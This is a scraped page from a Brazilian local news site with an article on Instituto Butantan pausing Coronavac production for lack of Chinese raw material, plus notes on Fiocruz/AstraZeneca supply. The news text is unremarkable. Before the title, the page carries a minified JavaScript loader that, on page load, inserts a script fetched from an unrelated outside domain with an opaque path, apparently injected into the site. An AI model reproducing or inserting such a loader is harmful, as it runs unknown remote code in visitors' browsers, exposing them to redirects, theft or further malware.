;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Butantan paralisa produção de Coronavac, e próxima entrega será em 15 de julho. - Portal Carangola

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Butantan paralisa produção de Coronavac, e próxima entrega será em 15 de julho.

O Instituto suspendeu as atividades por falta de matéria-prima, vinda da China.

Assim como ocorreu em maio, o Instituto Butantan paralisou mais uma vez a produção de Coronavac devido à falta de Insumo Farmacêutico Ativo (IFA) para as vacinas. O item vem da China. No próximo sábado (26), o instituto espera receber novos 6 mil litros de IFA, que são suficientes para produzir 10 milhões de doses Coronavac – que começarão a ser entregues ao Programa Nacional de Imunizações (PNI) somente a partir de 15 de julho, já que são necessários alguns dias para o processamento da matéria-prima.

A última entrega de doses prontas ocorreu na sexta-feira (18), ao Ministério da Saúde – quando foram liberadas 2,2 milhões de vacinas. Entre o dia 11 e o dia 18 deste mês, o instituto completou a entrega das 5 milhões processadas a partir dos 3 mil litros de IFA recebidos no dia 25 de maio. Foram feitas entregas divididas em 4 remessas (800 mil doses, no dia 11; 1 milhão, no dia 14, mais 1 milhão, dia 16 e, por fim, as 2,2 milhões de doses, no dia 18).

“O envase da matéria-prima foi iniciado no dia 27/05 e terminou na madrugada do dia 30/05. Outras etapas, como embalagem, rotulagem e controle de qualidade das doses, também foram concluídas”, disse o instituto, em nota.

O Butantan, no entanto, se recusou a comentar a paralisação. Via assessoria, se limitou a frisar que a fábrica do Butantan continua trabalhando 24h por dia  – vale lembrar que o local produz outras vacinas, incluindo a contra a gripe, e atualmente também produz a Butanvac,  que teve seus ensaios clínicos autorizados recentemente pela Agência Nacional de Vigilância Sanitária (Anvisa). “Nós não paramos. Somos o maior produtor de vacinas e soros do Brasil e temos o compromisso de manter essa produção o ano inteiro. Não estamos em absoluto parados, muito pelo contrário, estamos trabalhando sete dias por semana, quatro turnos por dia”, explicou o presidente do Instituto, Dimas Covas, durante uma coletiva imprensa na última sexta-feira (18).

As vacinas Coronavac entregues neste mês dizem respeito ao segundo contrato firmado com o Ministério da Saúde, de 54 milhões de doses. O primeiro, de 46 milhões, foi concluído no dia 12 de maio. O Butantan espera entregar, até setembro, 100 milhões de vacinas ao PNI.

Procurado, o Ministério da Saúde ainda não se manifestou sobre a paralisação na produção da Coronavac.

Relembre
O Butantan teve a produção paralisada de Coronavac entre 14 de maio e 27 de maio, após a matéria-prima chegar ao país em 25 de maio, e só voltou a entregar doses ao Ministério da Saúde no último dia 11 de junho, devido ao tempo necessário para o processamento da IFA.

Fiocruz/AstrazenecaA Fiocruz  precisou desligar as máquinas no dia 20 de maio, mas as religou dias depois, no dia 25 de maio, após a chegada da IFA no dia 22 de maio.

Na quarta-feira (23), está prevista a chegada, no Aeroporto Internacional do Rio de Janeiro (Rio-Galeão), de carga de IFA para a produção de cerca de 5,8 milhões de doses Astrazeneca. “Com a nova remessa, passam a ficar asseguradas entregas semanais até 16 de julho”, informou o Fiocruz em nota.

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